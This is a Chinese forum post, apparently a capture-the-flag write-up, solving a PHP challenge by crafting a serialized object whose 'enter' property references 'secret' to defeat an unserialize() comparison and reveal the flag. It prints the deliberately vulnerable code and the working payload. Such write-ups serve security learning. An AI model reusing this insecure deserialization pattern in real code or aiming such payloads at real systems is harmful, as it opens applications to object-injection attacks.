学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

633

积分

0

好友

9

主题
发表于 2021-6-10 22:19:18 | 查看: 3088| 回复: 1

相关题目:

♦ StringGame

本帖最后由 柒月 于 2021-6-10 22:44 编辑

进入题目后发现页面一片空白,所以想到f12看源码,看是否能有所发现。。。
f12后发现一段php代码
<?php>
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$flag;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>
经过粗略的学习php语言,勉强能看懂代码意思,以下是个人对代码的理解:
          这段代码的意思定义了一个类函数just4fun,如果以get方式传参,则将变量pass传参获取的值赋值给变量pass,如果能获取当前magic_quotes_gpc的配置选项设置,则删除变量pass中的反斜杠,将变量pass的数据反序列化后赋值给变量o,如果变量o类型里secretenter的数据和类型都相等就输出变量flag的值。

根据代码写出payload
<?php
class just4fun {
    var $enter;
    var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret;
echo serialize($o);
?>


得出反序列化数值:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
get形式传参得出flag。。。



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
发表于 2022-10-18 17:45:50
good111111111111111111

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-27 04:49 , Processed in 0.088326 second(s), 40 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表